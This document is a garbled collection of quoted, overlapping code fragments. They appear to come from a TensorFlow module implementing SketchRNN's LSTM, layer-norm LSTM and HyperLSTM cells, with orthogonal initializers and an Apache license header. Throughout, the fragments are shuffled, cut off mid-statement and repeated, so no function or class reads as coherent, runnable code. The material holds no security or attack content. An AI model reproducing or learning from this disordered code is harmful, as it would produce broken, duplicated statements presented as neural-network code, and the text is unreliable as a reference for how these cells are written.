raw_layer_norm(x, epsilon=1e-3): axes = [1] mean = tf.reduce_mean(x, axes,", "dropout_keep_prob: float, dropout keep probability (default 0.90) \"\"\" self.num_units =", "= hyper_num_units self.hyper_embedding_size = hyper_embedding_size self.hyper_use_recurrent_dropout = hyper_use_recurrent_dropout self.total_num_units =", "ib j = jx + jh + jb f =", "@property def state_size(self): return 2 * self.num_units def get_output(self, state):", "(default is 128, recommend experimenting with 256 for larger tasks)", "base, num_units]) mean = tf.reduce_mean(h_reshape, [2], keep_dims=True) var = tf.reduce_mean(tf.square(h_reshape", "def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90): \"\"\"Initialize the Layer Norm", "= tf.reduce_mean(tf.square(h_reshape - mean), [2], keep_dims=True) epsilon = tf.constant(epsilon) rstd", "scope=None): with tf.variable_scope(scope or type(self).__name__): total_h, total_c = tf.split(state, 2,", "tf.sigmoid(f + self.forget_bias) + tf.sigmoid(i) * g new_h = tf.tanh(layer_norm(new_c,", "HyperLSTM cell also uses recurrent dropout. Recommend turning this on", "return 2 * self.num_units def get_output(self, state): h, unused_c =", "base * num_units]) with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma =", "mean) / (std) return output def super_linear(x, output_size, scope=None, reuse=False,", "self.hyper_num_units if self.use_layer_norm: cell_fn = LayerNormLSTMCell else: cell_fn = LSTMCell", "new_total_h = tf.concat([new_h, hyper_h], 1) new_total_c = tf.concat([new_c, hyper_c], 1)", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "for the specific language governing permissions and # limitations under", "tf.tanh(new_c) * tf.sigmoid(o) return new_h, tf.concat([new_c, new_h], 1) # fuk", "partition_info=None): # pylint: disable=unused-argument size_x = shape[0] size_h = shape[1]", "large datasets) hyper_use_recurrent_dropout: boolean. (default False) Controls whether HyperLSTM cell", "w_full = tf.concat([w_xh, w_hh], 0) hidden = tf.matmul(concat, w_full) +", "reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Calculate layer norm.\"\"\" axes = [1]", "required by applicable law or agreed to in writing, software", "tf.sqrt( tf.reduce_mean(tf.square(x - mean), axes, keep_dims=True) + epsilon) output =", "state): unused_c, h = tf.split(state, 2, 1) return h def", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "new_total_c = tf.concat([new_c, hyper_c], 1) new_total_state = tf.concat([new_total_h, new_total_c], 1)", "1) class HyperLSTMCell(contrib_rnn.RNNCell): \"\"\"HyperLSTM with Ortho Init, Layer Norm, Recurrent", "hyper_h, hyper_c = tf.split(hyper_new_state, 2, 1) new_total_h = tf.concat([new_h, hyper_h],", "return self.num_units @property def state_size(self): return 2 * self.num_units def", "h_size, 'ln_all') i, j, f, o = tf.split(concat, 4, 1)", "tf.concat([new_h, hyper_h], 1) new_total_c = tf.concat([new_c, hyper_c], 1) new_total_state =", "= tf.get_variable( 'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0)) # concatenate the", "to original h = tf.reshape(h_reshape, [batch_size, base * num_units]) with", "\"\"\"Orthogonal initilaizer.\"\"\" flat_shape = (shape[0], np.prod(shape[1:])) a = np.random.normal(0.0, 1.0,", "jb, fb, ob = tf.split(bias, 4, 0) # bias is", "1) h = total_h[:, 0:self.num_units] c = total_c[:, 0:self.num_units] self.hyper_state", "agreed to in writing, software # distributed under the License", "use_bias=False) # split Whh contributions ih, jh, fh, oh =", "= tf.get_variable( 'W_xh', [x_size, 4 * self.num_units], initializer=w_init) w_hh =", "distributed under the License is distributed on an \"AS IS\"", "ortho initializer, and also recurrent dropout without memory loss (https://arxiv.org/abs/1603.05118)", "= tf.rsqrt(var + epsilon) h_reshape = (h_reshape - mean) *", "num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Layer Norm (faster version,", "= tf.constant_initializer(weight_start) elif init_w == 'gaussian': w_init = tf.random_normal_initializer(stddev=weight_start) elif", "super_linear( self.hyper_output, embedding_size, init_w='gaussian', weight_start=0.01, use_bias=False, bias_start=0.0, scope='zb') beta =", "batch_size, 4, self.num_units, 'ln_all') i, j, f, o = tf.split(concat,", "float, dropout keep probability (default 0.90) \"\"\" self.num_units = num_units", "a = np.random.normal(0.0, 1.0, flat_shape) u, _, v = np.linalg.svd(a,", "Layer Norm LSTM cell. Args: num_units: int, The number of", "uniform h_init = lstm_ortho_initializer(1.0) w_xh = tf.get_variable( 'W_xh', [x_size, 4", "tf.constant(epsilon) rstd = tf.rsqrt(var + epsilon) h_reshape = (h_reshape -", "tf.matmul(x, w) + b return tf.matmul(x, w) class LayerNormLSTMCell(contrib_rnn.RNNCell): \"\"\"Layer-Norm,", "'hyper_jx', use_bias=False) fx = self.hyper_norm(fx, 'hyper_fx', use_bias=False) ox = self.hyper_norm(ox,", "use_bias=False, bias_start=0.0, scope='zb') beta = super_linear( zb, num_units, init_w='constant', weight_start=0.00,", "dtype) return _initializer def lstm_ortho_initializer(scale=1.0): \"\"\"LSTM orthogonal initializer.\"\"\" def _initializer(shape,", "weight_start=0.00, use_bias=True, bias_start=1.0, scope='zw') alpha = super_linear( zw, num_units, init_w='constant',", "Recurrent Dropout without Memory Loss. https://arxiv.org/abs/1607.06450 - Layer Norm https://arxiv.org/abs/1603.05118", "\"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.9): self.num_units = num_units", "j, f, o], 1) concat = layer_norm_all(concat, batch_size, 4, self.num_units,", "4, h_size, 'ln_all') i, j, f, o = tf.split(concat, 4,", "new_h, tf.concat([new_h, new_c], 1) class HyperLSTMCell(contrib_rnn.RNNCell): \"\"\"HyperLSTM with Ortho Init,", "= tf.split(hidden, 4, 1) if self.use_recurrent_dropout: g = tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob)", "forget_bias self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob @property def state_size(self):", "forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.9): self.num_units = num_units self.forget_bias = forget_bias self.use_recurrent_dropout", "Recurrent Dropout without Memory Loss \"\"\" def __init__(self, num_units, forget_bias=1.0,", "tf.split(state, 2, 1) return h def __call__(self, x, state, scope=None):", "self.num_units embedding_size = self.hyper_embedding_size # recurrent batch norm init trick", "use_bias: beta = tf.get_variable( 'ln_beta', [num_units], initializer=tf.constant_initializer(0.0)) output = gamma", "bias # live life without garbage. # i = input_gate,", "weight_start=0.00, use_bias=False, scope='beta') result += beta return result def __call__(self,", "fx = self.hyper_norm(fx, 'hyper_fx', use_bias=False) ox = self.hyper_norm(ox, 'hyper_ox', use_bias=False)", "Norm HyperLSTM cell. Args: num_units: int, The number of units", "elif init_w == 'gaussian': w_init = tf.random_normal_initializer(stddev=weight_start) elif init_w ==", "hh = tf.matmul(h, w_hh) # split Wxh contributions ix, jx,", "mean), [2], keep_dims=True) epsilon = tf.constant(epsilon) rstd = tf.rsqrt(var +", "False) dropout_keep_prob: float, dropout keep probability (default 0.90) use_layer_norm: boolean.", "0) # bias is to be broadcasted. # i =", "Norm LSTM cell. Args: num_units: int, The number of units", "size_x = shape[0] size_h = shape[1] // 4 # assumes", "axes, keep_dims=True) std = tf.sqrt( tf.reduce_mean(tf.square(x - mean), axes, keep_dims=True)", "1) new_total_h = tf.concat([new_h, hyper_h], 1) new_total_c = tf.concat([new_c, hyper_c],", "o = ox + oh + ob if self.use_layer_norm: concat", "hyper_use_recurrent_dropout=False): \"\"\"Initialize the Layer Norm HyperLSTM cell. Args: num_units: int,", "self.hyper_state = hyper_new_state xh = tf.matmul(x, w_xh) hh = tf.matmul(h,", "layer norm in parallel h_reshape = tf.reshape(h, [batch_size, base, num_units])", "tf.sigmoid(o) hyper_h, hyper_c = tf.split(hyper_new_state, 2, 1) new_total_h = tf.concat([new_h,", "= None # uniform if input_size is None: x_size =", "def get_output(self, state): total_h, unused_total_c = tf.split(state, 2, 1) h", "return self.num_units @property def output_size(self): return self.num_units @property def state_size(self):", "with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable( 'ln_gamma', [num_units],", "1) hyper_output, hyper_new_state = self.hyper_cell(hyper_input, self.hyper_state) self.hyper_output = hyper_output self.hyper_state", "= hyper_output self.hyper_state = hyper_new_state xh = tf.matmul(x, w_xh) hh", "super_linear(x, output_size, scope=None, reuse=False, init_w='ortho', weight_start=0.0, use_bias=True, bias_start=0.0, input_size=None): \"\"\"Performs", "uniform h_init = lstm_ortho_initializer(1.0) # Keep W_xh and W_hh separate", "OR CONDITIONS OF ANY KIND, either express or implied. #", "@property def input_size(self): return self._input_size @property def output_size(self): return self.num_units", "the License is distributed on an \"AS IS\" BASIS, #", "(default True) Controls whether we use LayerNorm layers in main", "= shape[0] size_h = shape[1] // 4 # assumes lstm.", "== 'zeros': w_init = tf.constant_initializer(0.0) elif init_w == 'constant': w_init", "hidden states for hyperlstm input hyper_input = tf.concat([x, h], 1)", "return _initializer def lstm_ortho_initializer(scale=1.0): \"\"\"LSTM orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32,", "self.dropout_keep_prob = dropout_keep_prob self.use_layer_norm = use_layer_norm self.hyper_num_units = hyper_num_units self.hyper_embedding_size", "on only if hyper_num_units becomes large (>= 512) \"\"\" self.num_units", "0.10 # cooijmans' da man. with tf.variable_scope(scope): zw = super_linear(", "becomes large (>= 512) \"\"\" self.num_units = num_units self.forget_bias =", "w_init = None # uniform h_init = lstm_ortho_initializer(1.0) w_xh =", "law or agreed to in writing, software # distributed under", "std = tf.sqrt( tf.reduce_mean(tf.square(x - mean), axes, keep_dims=True) + epsilon)", "forget_bias: float, The bias added to forget gates (default 1.0).", "Norm (faster version, but not using defun).\"\"\" # Performs layer", "use_bias=False, scope='alpha') result = tf.multiply(alpha, layer) if use_bias: zb =", "None # uniform h_init = lstm_ortho_initializer(1.0) # Keep W_xh and", "units in the LSTM cell. forget_bias: float, The bias added", "h + beta return gamma * h def layer_norm(x, num_units,", "dropout_keep_prob @property def input_size(self): return self.num_units @property def output_size(self): return", "hidden = tf.matmul(concat, w_full) + bias i, j, f, o", "may obtain a copy of the License at # #", "total_h, total_c = tf.split(state, 2, 1) h = total_h[:, 0:self.num_units]", "- mean), [2], keep_dims=True) epsilon = tf.constant(epsilon) rstd = tf.rsqrt(var", "# fuk tuples. def layer_norm_all(h, batch_size, base, num_units, scope='layer_norm', reuse=False,", "use_bias=False, scope='beta') result += beta return result def __call__(self, x,", "= new_input, f = forget_gate, o = output_gate concat =", "with Ortho Init. and Recurrent Dropout without Memory Loss. https://arxiv.org/abs/1607.06450", "may not use this file except in compliance with the", "j, o for lstm) # Reshapes h in to perform", "h_size, 'ln_c')) * tf.sigmoid(o) return new_h, tf.concat([new_h, new_c], 1) class", "Wxh contributions ix, jx, fx, ox = tf.split(xh, 4, 1)", "self.hyper_cell = cell_fn( hyper_num_units, use_recurrent_dropout=hyper_use_recurrent_dropout, dropout_keep_prob=dropout_keep_prob) @property def input_size(self): return", "this file except in compliance with the License. # You", "output = (x - mean) / (std) return output def", "defun).\"\"\" # Performs layer norm on multiple base at once", "ix, jx, fx, ox = tf.split(xh, 4, 1) ix =", "* h def layer_norm(x, num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True):", "if use_bias: b = tf.get_variable( 'super_linear_b', [output_size], tf.float32, initializer=tf.constant_initializer(bias_start)) return", "Performs layer norm on multiple base at once (ie, i,", "# # Licensed under the Apache License, Version 2.0 (the", "- mean) / (std) return output def super_linear(x, output_size, scope=None,", "on an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS", "t = np.zeros(shape) t[:, :size_h] = orthogonal([size_x, size_h]) * scale", "mean), axes, keep_dims=True) + epsilon) output = (x - mean)", "tf.get_variable( 'W_xh', [x_size, 4 * self.num_units], initializer=w_init) w_hh = tf.get_variable(", "with 256 for larger tasks) hyper_embedding_size: int, size of signals", "unused_c = tf.split(state, 2, 1) return h def __call__(self, x,", "1) h = total_h[:, 0:self.num_units] return h def hyper_norm(self, layer,", "state, timestep=0, scope=None): with tf.variable_scope(scope or type(self).__name__): total_h, total_c =", "use_bias=True) # split bias ib, jb, fb, ob = tf.split(bias,", "i = ix + ih + ib j = jx", "size_h]) * scale return tf.constant(t, dtype) return _initializer class LSTMCell(contrib_rnn.RNNCell):", "as well to use different init methods. w_xh = tf.get_variable(", "values for large datasets) hyper_use_recurrent_dropout: boolean. (default False) Controls whether", "initializer=h_init) bias = tf.get_variable( 'bias', [4 * self.num_units], initializer=tf.constant_initializer(0.0)) concat", "x.get_shape().as_list()[1] w_init = None # uniform h_init = lstm_ortho_initializer(1.0) #", "np.zeros(shape) t[:, :size_h] = orthogonal([size_x, size_h]) * scale t[:, size_h:size_h", "tf.reduce_mean(tf.square(h_reshape - mean), [2], keep_dims=True) epsilon = tf.constant(epsilon) rstd =", "Uses ortho init defined earlier.\"\"\" shape = x.get_shape().as_list() with tf.variable_scope(scope", "the Layer Norm HyperLSTM cell. Args: num_units: int, The number", "mean) * rstd # reshape back to original h =", "__init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90, use_layer_norm=True, hyper_num_units=256, hyper_embedding_size=32, hyper_use_recurrent_dropout=False): \"\"\"Initialize", "tf.nn.dropout(tf.tanh(j), self.dropout_keep_prob) else: g = tf.tanh(j) new_c = c *", "= self.num_units embedding_size = self.hyper_embedding_size # recurrent batch norm init", "= hyper_embedding_size self.hyper_use_recurrent_dropout = hyper_use_recurrent_dropout self.total_num_units = self.num_units + self.hyper_num_units", "+ tf.sigmoid(i) * g new_h = tf.tanh(layer_norm(new_c, h_size, 'ln_c')) *", "w_full = tf.concat([w_xh, w_hh], 0) concat = tf.matmul(concat, w_full) #+", "or implied. # See the License for the specific language", "# uniform if input_size is None: x_size = shape[1] else:", "self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob self.use_layer_norm = use_layer_norm self.hyper_num_units", "= lstm_ortho_initializer(1.0) w_xh = tf.get_variable( 'W_xh', [x_size, 4 * self.num_units],", "partition_info=None): # pylint: disable=unused-argument return tf.constant(orthogonal(shape) * scale, dtype) return", "layer_norm(x, num_units, scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Calculate layer norm.\"\"\"", "tf.multiply(alpha, layer) if use_bias: zb = super_linear( self.hyper_output, embedding_size, init_w='gaussian',", "self.hyper_state = tf.concat( [total_h[:, self.num_units:], total_c[:, self.num_units:]], 1) batch_size =", "here as well to use different init methods. w_xh =", "HyperLSTM cell. (default is 128, recommend experimenting with 256 for", "3] = orthogonal([size_x, size_h]) * scale t[:, size_h * 3:]", "= super_linear( self.hyper_output, embedding_size, init_w='constant', weight_start=0.00, use_bias=True, bias_start=1.0, scope='zw') alpha", "x_size = input_size if init_w == 'zeros': w_init = tf.constant_initializer(0.0)", "initializer=tf.constant_initializer(0.0)) # concatenate the input and hidden states for hyperlstm", "self.dropout_keep_prob) else: g = tf.tanh(j) new_c = c * tf.sigmoid(f", "= tf.concat([i, j, f, o], 1) concat = layer_norm_all(concat, batch_size,", "LayerNormLSTMCell else: cell_fn = LSTMCell self.hyper_cell = cell_fn( hyper_num_units, use_recurrent_dropout=hyper_use_recurrent_dropout,", "ih + ib j = jx + jh + jb", "concat = tf.concat([x, h], 1) w_full = tf.concat([w_xh, w_hh], 0)", "units in HyperLSTM cell. (default is 128, recommend experimenting with", "timestep=0, scope=None): with tf.variable_scope(scope or type(self).__name__): total_h, total_c = tf.split(state,", "= x.get_shape().as_list()[0] w_init = None # uniform h_init = lstm_ortho_initializer(1.0)", "only if hyper_num_units becomes large (>= 512) \"\"\" self.num_units =", "trick (https://arxiv.org/abs/1603.09025). init_gamma = 0.10 # cooijmans' da man. with", "dropout_keep_prob @property def state_size(self): return 2 * self.num_units @property def", "self.hyper_num_units = hyper_num_units self.hyper_embedding_size = hyper_embedding_size self.hyper_use_recurrent_dropout = hyper_use_recurrent_dropout self.total_num_units", "norm.\"\"\" axes = [1] mean = tf.reduce_mean(x, axes, keep_dims=True) x_shifted", "= orthogonal([size_x, size_h]) * scale t[:, size_h * 2:size_h *", "language governing permissions and # limitations under the License. \"\"\"SketchRNN", "u if u.shape == flat_shape else v return q.reshape(shape) def", "def lstm_ortho_initializer(scale=1.0): \"\"\"LSTM orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None): #", "* g new_h = tf.tanh(layer_norm(new_c, h_size, 'ln_c')) * tf.sigmoid(o) return", "jh = self.hyper_norm(jh, 'hyper_jh', use_bias=True) fh = self.hyper_norm(fh, 'hyper_fh', use_bias=True)", "x.get_shape().as_list()[1] self._input_size = x_size w_init = None # uniform h_init", "use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob self.use_layer_norm = use_layer_norm self.hyper_num_units = hyper_num_units", "use_bias=False) ox = self.hyper_norm(ox, 'hyper_ox', use_bias=False) # split Whh contributions", "512) \"\"\" self.num_units = num_units self.forget_bias = forget_bias self.use_recurrent_dropout =", "+ jb f = fx + fh + fb o", "init_w='gaussian', weight_start=0.01, use_bias=False, bias_start=0.0, scope='zb') beta = super_linear( zb, num_units,", "Dropout without Memory Loss. https://arxiv.org/abs/1607.06450 - Layer Norm https://arxiv.org/abs/1603.05118 -", "w) class LayerNormLSTMCell(contrib_rnn.RNNCell): \"\"\"Layer-Norm, with Ortho Init. and Recurrent Dropout", "tf.variable_scope(scope or type(self).__name__): h, c = tf.split(state, 2, 1) h_size", "output def super_linear(x, output_size, scope=None, reuse=False, init_w='ortho', weight_start=0.0, use_bias=True, bias_start=0.0,", "turning this on only if hyper_num_units becomes large (>= 512)", "epsilon=1e-3, use_bias=True): \"\"\"Layer Norm (faster version, but not using defun).\"\"\"", "hyper_output, hyper_new_state = self.hyper_cell(hyper_input, self.hyper_state) self.hyper_output = hyper_output self.hyper_state =", "if use_bias: beta = tf.get_variable( 'ln_beta', [num_units], initializer=tf.constant_initializer(0.0)) output =", "[num_units], initializer=tf.constant_initializer(0.0)) output = gamma * (x_shifted) * inv_std if", "def super_linear(x, output_size, scope=None, reuse=False, init_w='ortho', weight_start=0.0, use_bias=True, bias_start=0.0, input_size=None):", "1) # fuk tuples. def layer_norm_all(h, batch_size, base, num_units, scope='layer_norm',", "Controls whether HyperLSTM cell also uses recurrent dropout. Recommend turning", "weight_start=init_gamma / embedding_size, use_bias=False, scope='alpha') result = tf.multiply(alpha, layer) if", "axes = [1] mean = tf.reduce_mean(x, axes, keep_dims=True) std =", "shape[1] // 4 # assumes lstm. t = np.zeros(shape) t[:,", "self.forget_bias) + tf.sigmoid(i) * g new_h = tf.tanh(new_c) * tf.sigmoid(o)", "uniform if input_size is None: x_size = shape[1] else: x_size", "self.total_num_units def get_output(self, state): total_h, unused_total_c = tf.split(state, 2, 1)", "norm init trick (https://arxiv.org/abs/1603.09025). init_gamma = 0.10 # cooijmans' da", "different init methods. w_xh = tf.get_variable( 'W_xh', [x_size, 4 *", "https://arxiv.org/abs/1609.09106 http://blog.otoro.net/2016/09/28/hyper-networks/ \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90, use_layer_norm=True,", "[batch_size, base * num_units]) with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma", "= super_linear( zb, num_units, init_w='constant', weight_start=0.00, use_bias=False, scope='beta') result +=", "= tf.split(bias, 4, 0) # bias is to be broadcasted.", "_initializer(shape, dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument return tf.constant(orthogonal(shape) * scale,", "earlier.\"\"\" shape = x.get_shape().as_list() with tf.variable_scope(scope or 'linear'): if reuse:", "cooijmans' da man. with tf.variable_scope(scope): zw = super_linear( self.hyper_output, embedding_size,", "in writing, software # distributed under the License is distributed", "dropout_keep_prob: float, dropout keep probability (default 0.90) use_layer_norm: boolean. (default", "is 128, recommend experimenting with 256 for larger tasks) hyper_embedding_size:", "bias ib, jb, fb, ob = tf.split(bias, 4, 0) #", "lstm_ortho_initializer(1.0) w = tf.get_variable( 'super_linear_w', [x_size, output_size], tf.float32, initializer=w_init) if", "lstm) # Reshapes h in to perform layer norm in", "# live life without garbage. # i = input_gate, j", "# split Wxh contributions ix, jx, fx, ox = tf.split(xh,", "self.dropout_keep_prob = dropout_keep_prob @property def state_size(self): return 2 * self.num_units", "* self.total_num_units def get_output(self, state): total_h, unused_total_c = tf.split(state, 2,", "return h def __call__(self, x, state, timestep=0, scope=None): with tf.variable_scope(scope", "self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob @property def input_size(self): return", "recurrent dropout without memory loss (https://arxiv.org/abs/1603.05118) \"\"\" def __init__(self, num_units,", "emitted from HyperLSTM cell. (default is 16, recommend trying larger", "License is distributed on an \"AS IS\" BASIS, # WITHOUT", "gates (default 1.0). use_recurrent_dropout: Whether to use Recurrent Dropout (default", "License, Version 2.0 (the \"License\"); # you may not use", "def orthogonal_initializer(scale=1.0): \"\"\"Orthogonal initializer.\"\"\" def _initializer(shape, dtype=tf.float32, partition_info=None): # pylint:", "num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90, use_layer_norm=True, hyper_num_units=256, hyper_embedding_size=32, hyper_use_recurrent_dropout=False): \"\"\"Initialize the", "else: x_size = input_size if init_w == 'zeros': w_init =", "= new_input, f = forget_gate, o = output_gate i =", "concat = layer_norm_all(concat, batch_size, 4, self.num_units, 'ln_all') i, j, f,", "* num_units]) with tf.variable_scope(scope): if reuse: tf.get_variable_scope().reuse_variables() gamma = tf.get_variable(", "2 * self.num_units def get_output(self, state): h, unused_c = tf.split(state,", "+= beta return output def raw_layer_norm(x, epsilon=1e-3): axes = [1]", "norm in parallel h_reshape = tf.reshape(h, [batch_size, base, num_units]) mean", "jx + jh + jb f = fx + fh", "tf.reduce_mean(x, axes, keep_dims=True) x_shifted = x - mean var =", "tf.get_variable( 'super_linear_b', [output_size], tf.float32, initializer=tf.constant_initializer(bias_start)) return tf.matmul(x, w) + b", "= forget_bias self.use_recurrent_dropout = use_recurrent_dropout self.dropout_keep_prob = dropout_keep_prob @property def", "(std) return output def super_linear(x, output_size, scope=None, reuse=False, init_w='ortho', weight_start=0.0,", "hyper_embedding_size self.hyper_use_recurrent_dropout = hyper_use_recurrent_dropout self.total_num_units = self.num_units + self.hyper_num_units if", "the License for the specific language governing permissions and #", "* 3] = orthogonal([size_x, size_h]) * scale t[:, size_h *", "[x_size, output_size], tf.float32, initializer=w_init) if use_bias: b = tf.get_variable( 'super_linear_b',", "HyperLSTM cell. (default is 16, recommend trying larger values for", "# http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or", "as contrib_rnn def orthogonal(shape): \"\"\"Orthogonal initilaizer.\"\"\" flat_shape = (shape[0], np.prod(shape[1:]))", "recommend trying larger values for large datasets) hyper_use_recurrent_dropout: boolean. (default", "= tf.tanh(layer_norm(new_c, h_size, 'ln_c')) * tf.sigmoid(o) return new_h, tf.concat([new_h, new_c],", "w_init = tf.constant_initializer(weight_start) elif init_w == 'gaussian': w_init = tf.random_normal_initializer(stddev=weight_start)", "self.num_units], initializer=tf.constant_initializer(0.0)) concat = tf.concat([x, h], 1) w_full = tf.concat([w_xh,", "u.shape == flat_shape else v return q.reshape(shape) def orthogonal_initializer(scale=1.0): \"\"\"Orthogonal", "w_hh = tf.get_variable( 'W_hh', [self.num_units, 4 * self.num_units], initializer=h_init) bias", "the Layer Norm LSTM cell. Args: num_units: int, The number", "+ fb o = ox + oh + ob if", "tf.concat([w_xh, w_hh], 0) concat = tf.matmul(concat, w_full) #+ bias #", "lstm_ortho_initializer(1.0) w_xh = tf.get_variable( 'W_xh', [x_size, 4 * self.num_units], initializer=w_init)", "batch norm init trick (https://arxiv.org/abs/1603.09025). init_gamma = 0.10 # cooijmans'", "for lstm) # Reshapes h in to perform layer norm", "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #", "= tf.split(state, 2, 1) return h def __call__(self, x, state,", "ox = tf.split(xh, 4, 1) ix = self.hyper_norm(ix, 'hyper_ix', use_bias=False)", "+ self.hyper_num_units if self.use_layer_norm: cell_fn = LayerNormLSTMCell else: cell_fn =", "self.use_layer_norm: concat = tf.concat([i, j, f, o], 1) concat =", "g new_h = tf.tanh(new_c) * tf.sigmoid(o) return new_h, tf.concat([new_c, new_h],", "= tf.split(state, 2, 1) h = total_h[:, 0:self.num_units] return h", "return gamma * h def layer_norm(x, num_units, scope='layer_norm', reuse=False, gamma_start=1.0,", "orthogonal([size_x, size_h]) * scale t[:, size_h * 3:] = orthogonal([size_x,", "@property def state_size(self): return 2 * self.num_units @property def output_size(self):", "o for lstm) # Reshapes h in to perform layer", "tf.random_normal_initializer(stddev=weight_start) elif init_w == 'ortho': w_init = lstm_ortho_initializer(1.0) w =", "gamma * (x_shifted) * inv_std if use_bias: output += beta", "# assumes lstm. t = np.zeros(shape) t[:, :size_h] = orthogonal([size_x,", "of units in HyperLSTM cell. (default is 128, recommend experimenting", "= self.num_units + self.hyper_num_units if self.use_layer_norm: cell_fn = LayerNormLSTMCell else:", "# distributed under the License is distributed on an \"AS", "self.num_units def get_output(self, state): unused_c, h = tf.split(state, 2, 1)", "# Unless required by applicable law or agreed to in", "mean = tf.reduce_mean(x, axes, keep_dims=True) x_shifted = x - mean", "2, 1) return h def __call__(self, x, state, timestep=0, scope=None):", "self.forget_bias) + tf.sigmoid(i) * g new_h = tf.tanh(layer_norm(new_c, h_size, 'ln_c'))", "def _initializer(shape, dtype=tf.float32, partition_info=None): # pylint: disable=unused-argument return tf.constant(orthogonal(shape) *", "\"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY", "fh, oh = tf.split(hh, 4, 1) ih = self.hyper_norm(ih, 'hyper_ih',", "get_output(self, state): h, unused_c = tf.split(state, 2, 1) return h", "lstm. t = np.zeros(shape) t[:, :size_h] = orthogonal([size_x, size_h]) *", "new_h, tf.concat([new_c, new_h], 1) # fuk tuples. def layer_norm_all(h, batch_size,", "tf.concat([x, h], 1) hyper_output, hyper_new_state = self.hyper_cell(hyper_input, self.hyper_state) self.hyper_output =", "h in to perform layer norm in parallel h_reshape =", "= self.num_units x_size = x.get_shape().as_list()[1] batch_size = x.get_shape().as_list()[0] w_init =", "# recurrent batch norm init trick (https://arxiv.org/abs/1603.09025). init_gamma = 0.10", "2, 1) x_size = x.get_shape().as_list()[1] w_init = None # uniform", "the Apache License, Version 2.0 (the \"License\"); # you may", "gamma = tf.get_variable( 'ln_gamma', [4 * num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias:", "without memory loss (https://arxiv.org/abs/1603.05118) \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False,", "= layer_norm_all(concat, batch_size, 4, self.num_units, 'ln_all') i, j, f, o", "size_h]) * scale t[:, size_h:size_h * 2] = orthogonal([size_x, size_h])", "get_output(self, state): unused_c, h = tf.split(state, 2, 1) return h", "= (x - mean) / (std) return output def super_linear(x,", "HyperLSTMCell(contrib_rnn.RNNCell): \"\"\"HyperLSTM with Ortho Init, Layer Norm, Recurrent Dropout, no", "concat = tf.matmul(concat, w_full) #+ bias # live life without", "size_h:size_h * 2] = orthogonal([size_x, size_h]) * scale t[:, size_h", "if hyper_num_units becomes large (>= 512) \"\"\" self.num_units = num_units", "scope='layer_norm', reuse=False, gamma_start=1.0, epsilon=1e-3, use_bias=True): \"\"\"Calculate layer norm.\"\"\" axes =", "def output_size(self): return self.num_units @property def state_size(self): return 2 *", "h_reshape = tf.reshape(h, [batch_size, base, num_units]) mean = tf.reduce_mean(h_reshape, [2],", "* num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta = tf.get_variable( 'ln_beta', [4", "def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.9): self.num_units = num_units self.forget_bias", "= self.hyper_norm(ih, 'hyper_ih', use_bias=True) jh = self.hyper_norm(jh, 'hyper_jh', use_bias=True) fh", "init_w='constant', weight_start=init_gamma / embedding_size, use_bias=False, scope='alpha') result = tf.multiply(alpha, layer)", "[4 * self.num_units], initializer=tf.constant_initializer(0.0)) concat = tf.concat([x, h], 1) w_full", "self.num_units x_size = x.get_shape().as_list()[1] batch_size = x.get_shape().as_list()[0] w_init = None", "Memory Loss \"\"\" def __init__(self, num_units, forget_bias=1.0, use_recurrent_dropout=False, dropout_keep_prob=0.90): \"\"\"Initialize", "init trick (https://arxiv.org/abs/1603.09025). init_gamma = 0.10 # cooijmans' da man.", "num_units], initializer=tf.constant_initializer(gamma_start)) if use_bias: beta = tf.get_variable( 'ln_beta', [4 *", "defined earlier.\"\"\" shape = x.get_shape().as_list() with tf.variable_scope(scope or 'linear'): if", "== 'constant': w_init = tf.constant_initializer(weight_start) elif init_w == 'gaussian': w_init", "keep probability (default 0.90) use_layer_norm: boolean. (default True) Controls whether", "timestep=0, scope=None): with tf.variable_scope(scope or type(self).__name__): h, c = tf.split(state,", "and hidden states for hyperlstm input hyper_input = tf.concat([x, h],", "f, o], 1) concat = layer_norm_all(concat, batch_size, 4, self.num_units, 'ln_all')", "= u if u.shape == flat_shape else v return q.reshape(shape)", "Recurrent Dropout, no Memory Loss. https://arxiv.org/abs/1609.09106 http://blog.otoro.net/2016/09/28/hyper-networks/ \"\"\" def __init__(self,", "@property def state_size(self): return 2 * self.total_num_units def get_output(self, state):", "if reuse: 